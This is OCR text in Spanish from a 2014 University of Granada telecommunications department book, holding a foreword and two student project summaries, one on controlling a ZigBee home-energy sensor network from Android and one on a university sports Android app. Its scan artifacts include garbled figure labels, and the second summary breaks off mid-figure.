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Presentacion

El campo de las redes y las comunicaciones, la telematica, el procesado de sefial e informacién
constituyen un eje primordial de desarrollo de las conocidas Tecnologias de la Informacion y
las Comunicaciones (TIC). Esta relevancia queda de manifiesto, de una parte, en la
dependencia social actual de las TIC y, de otra parte y derivado de lo anterior, en la enorme
demanda actual de formacion universitaria relacionada con las telecomunicaciones y la
informatica.

Si bien es cierto que el drea TIC presenta un corpus y fundamentos técnicos bien asentados,
no lo es menos que las tecnologias, los sistemas y los servicios evolucionan de forma continua,
dando lugar a nuevas posibilidades pero también a nuevas necesidades y retos.

En este contexto, y como colofén al ciclo formativo de las ingenierias universitarias, en
particular en lo que respecta a las de Telecomunicacidn e Informdtica en que imparte el Dpto.
de Teoria de la Sefial, Telemdtica y Comunicaciones (DTSTC), los estudiantes deben desarrollar
anualmente un trabajo técnico de cierto empaque que, transcendiendo las materias vy
contenidos vistos hasta el momento, por una parte evidencie unas capacidades extra de
aprendizaje, autonomia y busqueda de soluciones a problemas complejos, y por otro lado
suponga una evolucidon o mejora en la problematica abordada respecto del estatus actual.

A través del presente libro, y en el marco del X aniversario de la creacion del DTSTC, se
pretende mostrar un ejemplo de lo anteriormente expuesto en base a los desarrollos
realizados durante el curso académico 2013/2014 por nuestros alumnos, bajo la direccion y
supervisiéon de nuestros profesores, en algunas de las distintas lineas de investigacion,
desarrollo e innovacién de interés TIC.

Desde aqui quiero evidenciar y agradecer, como responsable en materia docente que soy, la
labor y dedicacidn de todos, alumnos y profesores, en esta tarea tan necesaria socialmente.
Ello, junto con el entusiasmo siempre mostrado, son las mejores herramientas de que
disponemos para conseguir el avance comun y la superacién de cualquier obstaculo.

Un saludo,

Pedro Garcia Teodoro

Director del Dpto. de Teoria de la Sefial,
Telemdtica y Comunicaciones

ETS Ingenierias Informdtica y de Telecomunicacion

Universidad Granada
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Resumen—L.as redes de sensores constituyen en la actualidad
un elemento en clara expansion. Estas se componen de un
conjunto de dispositivos auténomos distribuidos en un area con
la finalidad de monitorizar y medir parametros a partir de la
formacion de una red de comunicaciones, inaldmbrica en la
mayoria de los casos. Los &mbitos de aplicacién son numerosos,
siendo especialmente relevante en la actualidad su utilizacién en
el contexto de las denominadas SmartCities. Otra tecnologia de
gran impacto en la sociedad actual son los teléfonos inteligentes,
que incorporan multiples capacidades de comunicacion y
conexion a Internet. En este contexto, en el presente proyecto se
plantea el desarrollo de un sistema que permita controlar
elementos de una red de sensores, cuya finalidad primaria sea la
monitorizacion del consumo eléctrico de dispositivos en el hogar,
desde un dispositivo movil. Debido a sus multiples capacidades y
posibilidades, se ha elegido la tecnologia ZigBee para el
despliegue de la red de sensores, mientras que la plataforma
movil seleccionada ha sido Android, por su popularidad y por
ser de libre distribucidn. De esta forma, en el presente proyecto
se integran dos tecnologias novedosas y de gran penetracion en
la actualidad, obteniéndose un producto que resulta interesante
para los usuarios finales de cara a controlar su consumo
energético. El sistema resultante, ademas de proporcionar los
datos de consumo de los equipos eléctricos monitorizados,
permite su desconexion de la red mediante la simple pulsacion
de una tecla en su dispositivo movil, gracias a las capacidades
gue presentan los sensores ZigBee utilizados.

Palabras clave—ZigBee, Android, Smart Energy, redes de
Sensores.

I. INTRODUCCION

LA idea de sostenibilidad y, consecuentemente, el uso

optimo de los recursos disponibles, estd muy presente en
la actualidad. En el ambito de las tecnologias de la
informacion y las comunicaciones (TIC), este concepto se ha
convertido en motor de mdltiples proyectos y tecnologias,
entre los que podemos mencionar por relacionada con los
objetivos del presente trabajo, la idea de Smart Cities [1].
Este es un concepto novedoso aplicado a aquellas ciudades
que contemplan la eficiencia energética y sostenibilidad junto
con las Tecnologias de la Informacién y las Comunicaciones
(TIC). Ademds, asociado a este concepto se encuentra el
denominado Smart Grid. En este Ultimo se pretende aplicar

las TIC para optimizar el uso de la energia eléctrica. En este
sentido, ya es obligatorio en Espafia el uso de contadores
inteligentes (Smart meters) [2] que pueden ser monitorizados
y operados remotamente por la compafiia suministradora y
que posibilitan el anlisis temporal del consumo realizado,
consiguiendo de esta forma una mayor rapidez y eficiencia en
la relacion cliente-proveedor. Las tecnologias disponibles
para esta monitorizacién son varias. Sin embargo, este
proyecto se centrara en el uso de ZigBee como elemento
central de la solucion. Se trata de una tecnologia muy
interesante, basada en la estandarizacién de un protocolo para
comunicaciones inalambricas de baja transferencia de datos y
dirigida, entre otros, al campo de la domética, por lo que
resulta adecuado para el propésito del presente proyecto.

Como motivacién cabe indicar que existen dos elementos
principales. En primer lugar, se consideran las tecnologias
inaldmbricas, cuyo uso se estd imponiendo en la actualidad y
fruto de las cuales surgen las redes de sensores, que
constituyen en la actualidad una tecnologia en clara
expansion. El segundo elemento son los smartphones, sobre
los que no hay muchos aspectos que explicitar, ya que
actualmente practicamente todo el mundo dispone de uno de
ellos. Las capacidades y servicios que ofrecen, gracias al
amplio abanico de aplicaciones de las que disponen, son
ampliamente conocidos por los usuarios.

El objetivo principal del proyecto es el control vy
monitorizacion remoto del consumo de aparatos electrénicos
mediante una red ZigBee, haciendo posible la manipulacion
de los dispositivos. Para ello se dispondréa de equipos ZigBee
con las capacidades necesarias (conmutacion y control de
consumo de equipos conectados al dispositivo). Dado que lo
que se pretende es unir esta tecnologia con los smartphones,
esta manipulacién de dispositivos se realizara a través de una
aplicacion mavil Android.

Este objetivo principal se desglosa en varios puntos. En
primer lugar serd necesario desplegar y configurar una red
ZigBee. A continuacion se implementa una aplicacion movil
para el control de los elementos de la red ZigBee y su
configuracion. Finalmente, se precisa del desarrollo de un
sistema intermediario para el almacenamiento de los datos de
consumo Y de configuracion de la red que permita su consulta
remota y que obtenga los datos necesarios de forma
auténoma a partir de la propia red ZigBee.

Teoria de la Sefial, Telematica y Comunicaciones, 2014, ISBN-13 978-84-617-3239-5, paginas 3-7



J. Vazquez Séanchez (tutor J.E. Diaz Verdejo): Control de una red de sensores ZigBee Home Energy desde dispositivos Android

Application Framework

ZigBee Device Object

Application Application

Object 240 Object 1
.—_ e
b aas)

\APSRESAF

g Endposst 260 Endpoiat |
%, psDE. s ap S o 1)

Application Support Sublayer (APS)

APS Meseage Refiector

Broker Management
Security pEmeat
Service
Provider

Network (NWK) Layer

——P/NWE Securiy]  [NWK Message Routing
Broker

Sl :
auryd wawabewey 07

|EEE 802.15.4 ”
S [ | §

avsan iy |4

I\

ZigBee™ Alliance p N e Ny

defined MG SAR MLME-SAP'

Medium Access Control (MAC) Layer

End manufacturer

defined

#D-saP PLMESAR
Physical (PHY) Layer

2.4 GHz Radio 868915 MHz

Layer
function

Layer
interface

Fig. 1: Arquitectura de ZigBee [3].

Il. FUNDAMENTOS TECNICOS

Las redes ZigBee incluyen tres tipos de dispositivos, los
cuales se disponen en una estructura normalmente jerarquica.
Los coordinadores se encargan de inicializar y controlar la
red, existiendo un Unico coordinador en cada red ZigBee. El
coordinador almacena informacion sobre la red, la cual
incluye términos relativos a la seguridad de la misma. Realiza
funciones globales como la gestién del encaminamiento o la
incorporacion de nuevos dispositivos. Los routers permiten
extender el area de cobertura de la red, realizando labores de
encaminamiento y retransmision de paquetes hacia otros
routers o a los dispositivos finales que depende de él.
También pueden operar como dispositivos finales de dicha
red. Los dispositivos finales son los dispositivos terminales
de la red. Tienen la funcionalidad necesaria para comunicarse
con el nodo del que depende, denominado nodo padre, que
puede ser un router o un coordinador. Pueden transmitir o
recibir mensajes, pero no pueden desarrollar ninguna
operacion de enrutamiento.

La ZigBee Alliance [3] proporciona una serie de estandares
especificos para las diferentes aplicaciones que se consideran
en ZigBee, denominados perfiles, tanto para el sector
particular como para el sector empresarial, haciendo que los
diferentes clientes tengan un mayor control y mejoren sus
actividades cotidianas. Estos perfiles especifican como deben
funcionar/comunicarse los dispositivos ZigBee dentro de un
determinado campo/mercado, haciendo posible de este modo
que se puedan integrar dispositivos de distintos fabricantes
para unas tareas determinadas. Entre los multiples perfiles
existentes, en la realizacion del presente proyecto se usara
principalmente el perfil ZigBee Smart Energy [4], el cual
facilita el uso de productos interoperables que monitorizan,
controlan, informan y automatizan la entrega y uso de la
energia y el agua. El objetivo primario de este perfil es el de
mejorar la eficiencia en el uso de los recursos.

Las especificaciones de ZigBee se basan en la definicién
de varios elementos funcionales, entre los que destaca el
concepto de cluster. Los clusters pueden ser entradas o
salidas de un dispositivo 0 un conjunto de ellas. Existe una
libreria de clusters estandar que puede ser usada por
cualquier aplicacion. Esta libreria es la ZigBee Cluster
Library ZCL, que define un conjunto de clusters comunes y
los organiza dentro de diferentes dominios funcionales, como
pueden ser, a modo de ejemplo, iluminacidn, calefaccion,

ventilacién, etc. Un cluster puede ser reutilizado en varios
dominios funcionales, independientemente del perfil
considerado.

La pila ZigBee presenta una arquitectura en varias capas
(Fig. 1). Las capas inferiores vienen especificadas en el
estandar IEEE 802.15.4 (correspondientes a la capa MAC y a
la capa fisica) mientras que las demas capas (capa de red y
capa de aplicacion) se definen dentro de ZigBee. Ademas,
dentro de la pila de protocolos también se consideran capas
cross-layer, las cuales se definen como capas auxiliares que
proporcionan funcionalidades a varias capas. En el caso de
ZigBee hay dos capas de este tipo, que son las denominadas
ZDO (ZigBee Device Object) y SSP (Security Service
Provider).

Por otra parte, se usara el sistema operativo Android para
realizar una aplicacion con su correspondiente estilo de
programacion. El desarrollo de esta aplicacion requiere de
una formacidn especifica, ya que se trata de una filosofia de
programacion que difiere de los lenguajes convencionales
orientados a objetos, tales como Java. Una aplicacion
Android se divide en tres bloques claramente diferenciados.
El primer tipo de estos blogues son las clases, las cuales se
encargan de desarrollar toda la parte légica de la aplicacion y
el funcionamiento de cada una de las pantallas o actividades,
asi como todos aquellos procesos asociados a la actuacion del
usuario sobre un elemento de la interfaz y a los procesos que
se ejecutan en segundo plano, y que son transparentes para el
usuario de la aplicaciéon. Otro bloque lo componen los
elementos basicos de una interfaz grafica, los cuales se
encargan de describir todos los aspectos visuales de la
aplicacion y de recoger toda la informacién necesaria para
describir el aspecto visual de todas las actividades de la
aplicacion, asi como de algunos elementos visuales
concretos. El Ultimo blogue lo constituye un fichero
denominado Manifest, el cual incluye propiedades bésicas de
la aplicacién y de los componentes que forman parte de la
misma. En la Fig. 2 se muestra la interfaz grafica de la
aplicacion implementada.

Ademas se hara uso de un servicio web y de una base de
datos para almacenar la informacién de gestion de los
dispositivos que forman la red ZigBee, asi como los datos
relativos a las funcionalidades y parametros de los mismos.
Cabe destacar la importancia de esta base de datos en
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Fig. 2: Interfaz de la aplicacion Android implementada.
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relacion a la gestion de la informacion de los dispositivos de
la red y la conformacion de las tramas necesarias para el
control de los mismos.

I1l. ARQUITECTURADEL SISTEMA

La arquitectura general del sistema se basa en el paradigma
cliente/servidor, en el cual existird un proveedor de recursos
y servicios, y un cliente, el cual se encargara de usar dichos
recursos. En la arquitectura propuesta (Fig. 3) se han
considerado las funcionalidades necesarias para prescindir
del software propietario proporcionado por el fabricante para
la gestion de la red ZigBee.

En la arquitectura planteada se pueden diferenciar tres
maédulos. Un primer moédulo se corresponde a la aplicacion
del dispositivo maévil, en la que se considera una base de
datos para almacenar datos de consumo. El segundo mddulo
se estructura a partir de un servidor, que interacciona con el
dispositivo movil y que accede a una base de datos con
informacién sobre la red. Finalmente, el tercer médulo esta
compuesto por los dispositivos ZigBee, es decir, de un
coordinador y de un router ZigBee.

En el primer médulo se dispone de la aplicacion mévil que
permite al usuario interactuar con la red ZigBee y realizar
operaciones como encender y apagar los dispositivos y
obtener el consumo de los dispositivos a lo largo de su
tiempo de funcionamiento. Para realizar una grafica de dicho
consumo se precisé de una base de datos para almacenar los
datos obtenidos de los dispositivos ZigBee. La idea de
implementar esta base de datos en el dispositivo mdvil no es
otra que evitar sobrecarga de comunicaciones con la
aplicacion Java en el servidor.

El segundo mddulo lo forman una aplicacién servidora
desarrollada en Java y una base de datos con informacion
relativa a los dispositivos ZigBee que se utiliza para
conformar las tramas de comunicacion. El servidor Java debe
de actuar como una pasarela entre la aplicacién movil y la red
ZigBee, en el sentido de interpretar las 6rdenes enviadas por
la aplicacion Android y, a partir de ellas, conformar una serie
de tramas que realicen las acciones que solicite el usuario
mediante el protocolo ZigBee.

El dltimo modulo lo conforma la red ZigBee en cuestion.
En este caso concreto se dispone de un coordinador y de
varios dispositivos de tipo router (Z-Plug). El coordinador se
encargara de comunicar a los diferentes dispositivos las
tramas que genera el servidor y, ademas, de transmitir al
servidor de las distintas respuestas de los dispositivos. Los
dispositivos Z-Plug se encargaran de medir el consumo de
dispositivos  electrénicos conectados a ellos y de
apagar/encender dichos dispositivos de forma remota.

IV. IMPLEMENTACION DEL SISTEMA

Como se ha comentado, la implementacion de este proyecto
ha seguido el paradigma cliente/servidor. Esto significa que
se tendra una parte correspondiente al cliente (que engloba
todo lo relacionado con la aplicacién Android) en la que
realizaran  modificaciones e interactuara de forma
transparente con la red ZigBee, y una parte servidora, que se
encargara de gestionar las acciones realizadas en la
aplicacion por parte del cliente y de traducirlas para que el
coordinador sea capaz de enviar la informacion que necesitan
los dispositivos Z-Plug para ejecutar la funcionalidad

-
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Fig. 3 Arquitectura del sistema.

requerida por el usuario. Por lo tanto, en la parte servidora se
deben implementar la funcionalidad de pasarela en el sentido
de la traduccion mencionada desde el dispositivo movil
Android hacia la red ZigBee y viceversa.

Desde el punto de vista de la programacidn, en cuanto a la
estructura de los datos y el formato de los comandos usados,
hay que indicar que, para realizar un estudio de las tramas
que intervienen en la comunicacién de la red ZigBee, se hace
necesario el uso y andlisis de la APl de Texas Instruments
denominada “Z-Stack Monitor and Test API” [5]. Esta API
dispone de varias categorias. Para este proyecto sera de vital
importancia sobre todo la categoria correspondiente a la capa
de aplicacién. Esta APl permite al usuario interactuar con la
capa de aplicacién del dispositivo para realizar un control
personalizado. Ademas, sera necesaria la gestion del puerto
serie, ya que se precisa de un protocolo para que los mensajes
puedan ser intercambiados entre el usuario y el objetivo a
través del puerto serie RS-232. El propdsito de este protocolo
es encapsular los mensajes en paquetes para una transmision
y recepcion adecuadas para asegurar su integridad.

Las tramas que se intercambian entre el servidor y el
dispositivo objetivo contienen un inicio de trama, un payload
y finalizan con una secuencia de comprobacion de trama
FCS. Entre el repertorio de comandos ZigBee, existe uno
correspondiente a la interfaz de aplicacién, denominado
AF_DATA REQUEST, cuya finalidad es poder ser usado por
el usuario para enviar un mensaje arbitrario a través de la
capa AF (Application Framework). Este comando tiene
atributos de direccion de destino, identificador de cluster,
direccion de origen, etc. La trama correspondiente se muestra
en la Fig. 4, en la que se indican los campos que la
constituyen y se presenta un ejemplo real de los utilizados
para la implementacion del proyecto. Hay que indicar que,
aunque esta trama sea especialmente relevante para el
proyecto, para obtener los valores necesarios para rellenar sus
campos se ha precisado de otro tipo de comandos especificos

Byte: 1 1 1
Longitud= 0x0A-0x8A Cmd0=0x24 Cmd1=0x01
Byte:2 1 1 2 1
DstAddr=0x29A5 DstEndpoint=0x01 SrcEndpoint=0xA Clusterld=0x6 Transld=0x0
Byte: 1 1 1 0-128
Options=0x0 Radius=0x0 Len=0x03 Data=0x01,0x01,0x02

Fig. 4 Trama origen del comando AF_DATA_REQUEST
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a partir de la direccion MAC de los dispositivos Z-Plug. En
este sentido, el campo de datos se debe rellenar a partir de la
informacién suministrada por la capa inferior, es decir, hay
que realizar un estudio de la capa de red del protocolo ZigBee
para rellenar correctamente dicha informacion. Cuando se
envia este comando se recibe una respuesta del tipo SRSP
(Syncrhonous Response). Esta respuesta tiene la finalidad de
comunicar en su atributo de estado si la transmision del
mensaje anterior ha sido errénea o, por el contrario, ha sido
exitosa. Si ademas se ha realizado una peticion de suscripcion
con anterioridad, es decir, se ha usado un comando de
peticion tipo callback (el cual consisten en solicitar
informacién por parte del dispositivo de destino) se recibira
una trama AF_INCOMING _MSG, la cual incluye
informacién del dispositivo receptor del mensaje original. Tal
y como se puede observar en la trama, esta tiene varios
valores similares a la trama de envio. Ademas de estos
atributos comunes, también contiene informacion del nivel de
seguridad ofrecido en la comunicacién, un atributo de marca
temporal para dar robustez a la comunicacion y un numero de
secuencia de respuesta.

Para finalizar este apartado describiremos las pruebas
operativas realizadas para la comprobacién del correcto
funcionamiento de la implementacion final. La importancia
de este punto para la realizacién del proyecto el alta, ya que
gracias a este conjunto de pruebas se ha hecho posible la
justificacion de las decisiones tomadas para la
implementacion final. Se han realizado pruebas diversas que
engloban desde pruebas de exploracion de variantes y
pruebas de verificacion. Estas Gltimas consisten en probar el
control de la red ZigBee a través de una herramienta
propietaria, como es CleoBee [6], y ademas usar su sitio web
asociado para controlar la red ZigBee desde un navegador.
También se han realizado pruebas para la comprobacion de la
conexion con el servidor a través de Android y se ha hecho
uso de las funcionalidades implementadas a través del
dispositivo movil para verificar el correcto funcionamiento y
comunicacion de la aplicacion Android. Adicionalmente se
ha efectuado un control de la red ZigBee a través de la
aplicacion servidora implementada. Ademas, se ha
comprobado la comunicacion entre la aplicacion Android y la
aplicacion Java, la cual es de vital importancia, ya que el
servidor debe estar bien implementado en el sentido de evitar
errores de comunicacion y de procesado y gestion de la
informacion proveniente del dispositivo movil. Se ha
comprobado el funcionamiento correcto de la base de datos a
partir del analisis de los mensajes en archivos de log.

Con respecto a la grafica del consumo que ofrece la
aplicacion mévil, se han realizado pruebas sencillas para
comprobar que se actualiza correctamente la informacion de
los dispositivos que forman la red ZigBee. Finalmente, una
vez implementado todo, se realiza una prueba final y real del
funcionamiento definitivo de la solucién implementada, con
el fin de detectar posibles anomalias en el funcionamiento y
corregirlas.

V. CONCLUSIONES

En el presente Trabajo Fin de Grado se ha disefiado un
sistema compuesto por diversos bloques que han hecho
posible la consecucién de los objetivos planteados. En
particular, se ha combinado la tecnologia ZigBee con los

nuevos smartphones para conseguir el control y
monitorizacion remotos de dispositivos eléctricos. Entre las
contribuciones de este proyecto se pueden destacar las
siguientes:

e Se ha desarrollado un conjunto de aplicaciones y
sistemas que permiten, de acuerdo al objetivo
planteado, el control remoto de dispositivos ZigBee
del perfil Smart Energy.

e Se ha realizado un andlisis de las caracteristicas y
funcionalidades relevantes de ZigBee para la
consecucion de los objetivos planteados.

e Se ha conseguido la sustitucién de una herramienta
de caracter propietario para la gestién de la red
ZigBee como resultado del proceso de analisis de
sus funciones.

e Se ha desarrollado una aplicacion destinada a
dispositivos moviles Android consistente en el
control de la red inalambrica ZigBee implementada
y que ofrece al usuario informacién sobre dicha red
referente al consumo de los dispositivos.

Finalmente, a continuacion se presentan algunas
sugerencias y nuevas funcionalidades con las que mejorar
el sistema obtenido en el presente proyecto con el fin de
ofrecer un rendimiento y fiabilidad mayores a las que
proporciona actualmente. No obstante, hay que indicar que
se han conseguido cumplir los objetivos marcados desde
un principio, aunque durante el desarrollo del propio
proyecto han surgido de forma natural algunas ideas que
podrian dar lugar a algunas mejoras, como son:

o Interfaz grafica a nivel de desarrollador en la
aplicacion del aparte servidora. Con esto se
conseguird que, ante cualquier error en la gestién
de la red ZigBee, a través de la aplicacion Java se
fuese capaz de identificar y solucionar el
problema de forma mas eficiente.

e Ofertar en la aplicacion movil la posibilidad de
afiadir nuevos dispositivos, en el sentido de
ofrecer una lista de dispositivos mediante la
pulsacién de un botén de la interfaz grafica de la
aplicacion.

e Desde el punto de vista de la comunicacién, una
idea interesante seria la de hacer posible,
mediante un dominio IP, la comunicacién con la
red desde fuera del propio hogar con el fin de que
el usuario sea capaz de modificar el estado de un
dispositivo sin necesidad de estar en la vivienda.
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Resumen—En este proyecto se desarrolla una aplicacion para

smartphone con el sistema operativo Android, destinado a la
gestion del servicio de deportes de la Universidad de Granada.
Esta aplicacion se llama DeportesUGR, y su objetivo es dar al
usuario un software que permita consultar noticias, las
instalaciones y su disponibilidad, los calendarios de todas las
competiciones, o solo las de interés del usuario, asi como poder
consultar la informacién de contacto o la localizacion de los
campus.
El documento nos ofrece una vision del estado actual del
mercado actual de los sistemas operativos existentes, y del
mundo de las aplicaciones para smartphone. Ademas, se incluye
el desarrollo de la aplicacion, mostrando datos de su analisis,
disefio e implementacion.

Palabras clave—Anadlisis, Android, aplicacion, deportes,
disefio, implementacién, informacién, instalaciones, noticias,
smartphone.

OY en dia, los dispositivos moviles nos proporcionan

multitud de servicios y funciones a través de
aplicaciones, las cuales nos facilitan el dia a dia.
La Universidad de Granada [1] cuenta con dos campus
universitarios deportivos, en cuyas instalaciones se realizan a
lo largo del afio numerosas competiciones y actividades
deportivas, mostrando toda la informacion en la pagina web
del Centro de Actividades Deportivas (CAD) [2]. Asi que,
por qué no unir deporte y tecnologia y crear una aplicacion
movil que nos permita consultar toda la informacién en
nuestro Smartphone con solo unos clics.
El sistema operativo que se ha usado ha sido Android, debido
a las numerosas ventajas y facilidades que presenta, asi como
su caracter de libre distribucién y al crecimiento que
experimenta dia a dia.

A. Motivacion

Actualmente, a la hora de acceder a la consulta de las
diferentes informaciones que presenta la péagina del CAD,
mucha de la informacion no se puede visualizar
correctamente, o directamente no se puede acceder, desde un
Smartphone, por lo que se decidid crear una aplicacién que
nos permitiese, facilitase y agilizase la consulta de noticias,
competiciones, instalaciones, informacién de contacto,
disponibilidad de pistas, etc.

Ademds, la Universidad de Granada, mediante la
Convocatoria de ayudas para el desarrollo de aplicaciones
para moviles (Apps) de la Universidad de Granada, pretendia
que se le desarrollasen diferentes aplicaciones para los
diversos servicios que ofertan, entre los que se encuentra el

servicio de deportes, por lo que se presento la candidatura de
este proyecto, tras una serie de reuniones con diferente
personal del CAD para ver cuéles eran sus necesidades,
resultando finalmente elegido nuestro proyecto.

B. Objetivos

Los objetivos de este proyecto eran desarrollar una aplicacion
movil que permitiese:

- Mostrar informacion basica del CAD.

- Mostrar los calendarios de las competiciones en vigor.

- Elegir mis equipos (novedad).

- Consultar la disponibilidad de las instalaciones.
Mostrando  siempre la  informacién  completamente
actualizada, accediendo a ella mediante servicios web.

Il. ANTECEDENTES Y TECNOLOGIAS

El que la aplicacién se haya optimizado para maéviles, aunque
también funciona en tablets, se debe al constante crecimiento
de las ventas de dispositivos moviles, creciendo un 27% sus
ventas en el segundo trimestre de 2014, con respecto a la
misma fecha en 2013 [3].

En cuanto a la eleccion de Android como plataforma de
desarrollo, aparte de las numerosas ventajas y facilidades que
proporciona a los desarrolladores, es un sistema operativo
que estd en continua expansion, alcanzando en el segundo
trimestre de 2014 una cuota de mercado mundial del 84,6%,
y convirtiéndose por primera vez en el sistema operativo que
cuenta en su market con el mayor nimero de aplicaciones
disponibles (en torno a 1.300.000 apps), superando incluso a
i0S [3].

Para el desarrollo de la aplicacion ha sido necesario el uso de
algunas tecnologias como son el caso de REST
(Representational State Transfer) [4], y de JSON (JavaScript
Object Notation) [5].

A. REST (Representational State Transfer)

Para la obtencion de la informacion de nuestro servidor,
hicimos uso de servicios web, decantandonos de entre todas
las tecnologias disponibles por REST [4], ya que:
- Es un tipo de servicios web, basados en HTTP
(HyperText Transfer Protocol) [6].
- Orientado a solicitud-respuesta.
- Méas ligero que SOAP (Simple Object Access
Protocol) [7].
- Protocolo stateless (sin estado)
- Para su correcto funcionamiento, es necesario el uso
correcto de URIs (Uniform Resource Identifier), de
HTTP, e implementar hypermedia.

Teoria de la Sefial, Telematica y Comunicaciones, 2014, ISBN-13 978-84-617-3239-5, paginas 9-13
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En cuanto al uso correcto de URIs, cada uno de los recursos
se codifica mediante URLs, siguiendo la siguiente estructura:

{protocolo}://{dominio o hostname}[:puerto
(opcional)]/{ruta del recurso}?{consulta de
filtrado}

Las URLs deben cumplir una serie de reglas como:

- Ser Unicas y no contener verbos.

- Ser independientes de formato.

- Mantener una jerarquia logica.
En cuanto al uso correcto de HTTP, para operar sobre los
recursos se utilizan métodos HTTP como GET (para
consultar y leer recursos), POST (para crear recursos), PUT
(para editar recursos), DELETE (para borrar recursos) y
PATCH (para editar partes concretas de un recurso).

B. JSON (JavaScript Object Notation)

Para la representacion de los datos leidos en el servidor, de
entre todas las tecnologias disponibles, se optd por elegir
JSON [5], ya que es un formato ligero de intercambio de
datos, que permite serializar un objeto, basandose en
JavaScript. Esta adecuado para entornos web, y presenta una
serie de ventajas frente a XML como:
- La sencillez de su formato.
- Escribir un analizador sintactico mediante JSON es
mucho més simple que con XML.
- Se procesa mas rapido en cualquier navegador.
- JSON no necesita ser extensible porque es flexible por
si solo.
- JSON permite tiempos de respuesta menores.

I1l. DiseNo

A. Analisis de requisitos

Para la realizacion del proyecto, se tuvieron en cuenta una
serie de requisitos de las diferentes partes implicadas en su
desarrollo y posterior uso, como son:

- Requisitos de la convocatoria de la Universidad:

o La utilizacion de servicios webs en la
comunicacion con el servidor.

o Disefio de la interfaz acorde a los requisitos
impuestos por la Universidad de Granada para el
desarrollo de sus aplicaciones mdviles (splash,
launcher, fondo, etc.).

o Liberacion del codigo fuente de la aplicacion.

- Requisitos extraidos de las reuniones con el CAD:

o Mostrar informacion bésica del CAD, como
noticias, competiciones, instalaciones,
informacion de contacto, etc.

o Mostrar los calendarios de las competiciones en
vigor.

- Requisitos extraidos de las encuestas a los usuarios:

o Poder seleccionar tus equipos de interés, y
consultar solamente sus calendarios, sin tener
que ver el de todos los equipos inscritos en dicha
competicion y deporte.

o Consultar la disponibilidad de las instalaciones
para su posible alquiler.

B. Arquitectura general y del cliente

Cumple con el paradigma cliente/servidor, estando el cliente
implementado en Android, y el servidor en Java como se
puede apreciar en la Fig. 1. La comunicacién con el servidor
se hace mediante servicios web basados en REST, y la
representacion de los datos de hace mediante JSON, como se
ilustra en la Fig. 2.

Aplicacién mévil -131“
Android* Aplicacion de

escritorio
|

Aplicacion mévil
iPhone

Clientes
\._CAD 7

“Elementos desarrollados en el proyecto

tp/icad.ugres

Aplicaciéon web)

Servidor
CAD

Fig. 1. Arquitectura general del sistema.

HTTP + RESTful

Servidor app-
deporte

Cliente Android
HTTP + RSS

Servidor CAD

Fig. 2. Protocolos utilizados por el cliente.

C. Diagrama de clases principal

En la Fig. 3, se muestra un ejemplo de un diagrama de clases
simplificado, donde se puede apreciar la relacion que guarda
la activity principal con las diferentes clases que dan acceso a
las funcionalidades que presenta la aplicacién. En las clases
ReservasActivity, TorneosActivity o Noticias, se ve como
guardan relacion con sus correspondientes clases ‘Task’, para
la ejecucion en sugundo plano de sus tareas. También se ve
como la clase MisEquipos guarda relacion con la clase
GestorPreferencias, ya que esta es la que permite almacenar
en el mévil los equipos seleccionados.

==Java Class=>=
{3 GestorPreferencias
es.ugr deportesugrapp

~gestorPreferencias | 0.1

==lava Class==
(& MisEquipos

<=Java Class=>
(& Instalaciones

es.ugr.deportesugrapp

T A <<lava Class>>
-, 3 {2 InfoContacto
<<Java Class=> es_ugr.deportesugrapp
(2 AboutActivity 3
==.ugrdeponasugrage |
<<lava Class=> <<Java Class=>
(& MainActivity [ (& Noticias
=5.ugr.deportesugrapp 2s.ugr.deponesugrapp
==Java Class=> *
i Y <=lava Class==
(@ ReservasActivity <=Java Class=> (3 NoticiasTask
2s.ugr.depontesugrapp.msarvas, ® Ton e Py 5as
? s ugr deportesugrapp. tomess

==Java Class=>
(& SolicitudinfoPistasTask

es.ugr.deportesugrapp.reservas

<<lava Class>=
(& SolicitudinfoTorneosTask

es.ugr.deportesugrapp.tomeos

Fig. 3. Diagrama de clases de la Activity principal.

10



IT / Aplicaciones en dispositivos méviles o de tamafio reducido

D. Interfaz gréficay funcionalidades

La apariencia de la aplicacion estd basada en todo momento
en la imagen corporativa impuesta por la Universidad de
Granada para el desarrollo de sus aplicaciones, permitiendo
ademas el re-escalado de la aplicacién para dispositivos de
diferentes tamarios.
Por otro lado, la aplicacion presenta una interfaz grafica facil,
sencilla e intuitiva, indicando donde te encuentras en cada
momento, permitiéndote avanzar por las diferentes
funcionalidades mediante el uso de botones, o listas de
botones, y retroceder mediante el uso del boton volver que
incorpora el propio terminal mavil.
Las funcionalidades que presenta la aplicacion son:

- Consulta de noticias.

- Consulta de competiciones.

- Consulta de instalaciones.

- Consulta de mis equipos.

- Consulta de la disponibilidad de pistas.

- Consulta de la informacion de contacto.

- Consulta del acerca de.
En la Fig. 4, se muestran algunas capturas de pantalla,

mostrando algunas de las diferentes funcionalidades que
presenta la aplicacion.

T PGS ORI LR
A = Competiciones
DeportesUGR Noticias [ oo rector-1a-duision 2013
APERTURA DE PISCINA UNIVERSITARIA © R
L 18 40N 20
PROYECTO SOBAE EL CAD-UGR o Badmintan Femenino
Competiciones L0 50 e -
ACTO DE CLAUSURA DEL XLVI TROFEO o Badminton Masculino
© RECTOR
u RATHL N 7074 D000 005 [+] Baloncesto Femenino
[V - <y, Mis Equipos | CIRCUITO SPARTAN TRIATLON DE
O BRANCRS ] Baloncesto Masculino
U 7w 8 s
ABRIL
TROFEQ RECTOR COLEGIOS MAYORES 4} Balonmano Femenino
o TENIS
Reservas Igfcrmé:m(in R T3 WA 00000 1 T ) Balonmano Masculine
ALY PLAZOS PRESENTACIBN SOLICITUDES
a © PENAS DEPORTIVAS P Fatbol 11
TELEFONOS APLAZAMIENTO RESERVAS Fithol Sala Femenino
Acerca de © INSTALACIONES -
a) b) c)

® taln ® Vil 524 S b @ % dW1518

i Reservas = q
Mis Equipos C. CARTUJA - PADEL (60min) Fecha: 1... Informacion de Contacto

» GAMPUS UNIVERSITARIO FUENTENUEVA

Consulta de ocupacién de las

pistas Direccion: Pasea Profesor Juan O30 /1
{Paseos Liniversitarios)

Horario: Lunes  Viemes de 9 a 14y de 154 20,

horas.

i, Administracion: 958240956 ¥ 958243144

Fax: 958243143

] Agregar/Quitar Equipo

PA el dia 19/07/2014

Equipos Seleccionados: PA2

o LCL-TEAM 958240956
{Ifea fiector %53 'd 2013 - adel PA1- | PA2- | PA3- | PA4-
- | ps:00- |@9:00- (09:00- | 09:00-

o Mufiecas de Madera 10:00| 10:00 | 10:00 | 10:00 | 10:00 958243144
{1rse oator 725 Pl 2015 - #adel 10:00| PA1- | PA2- | PA3- | PAd-
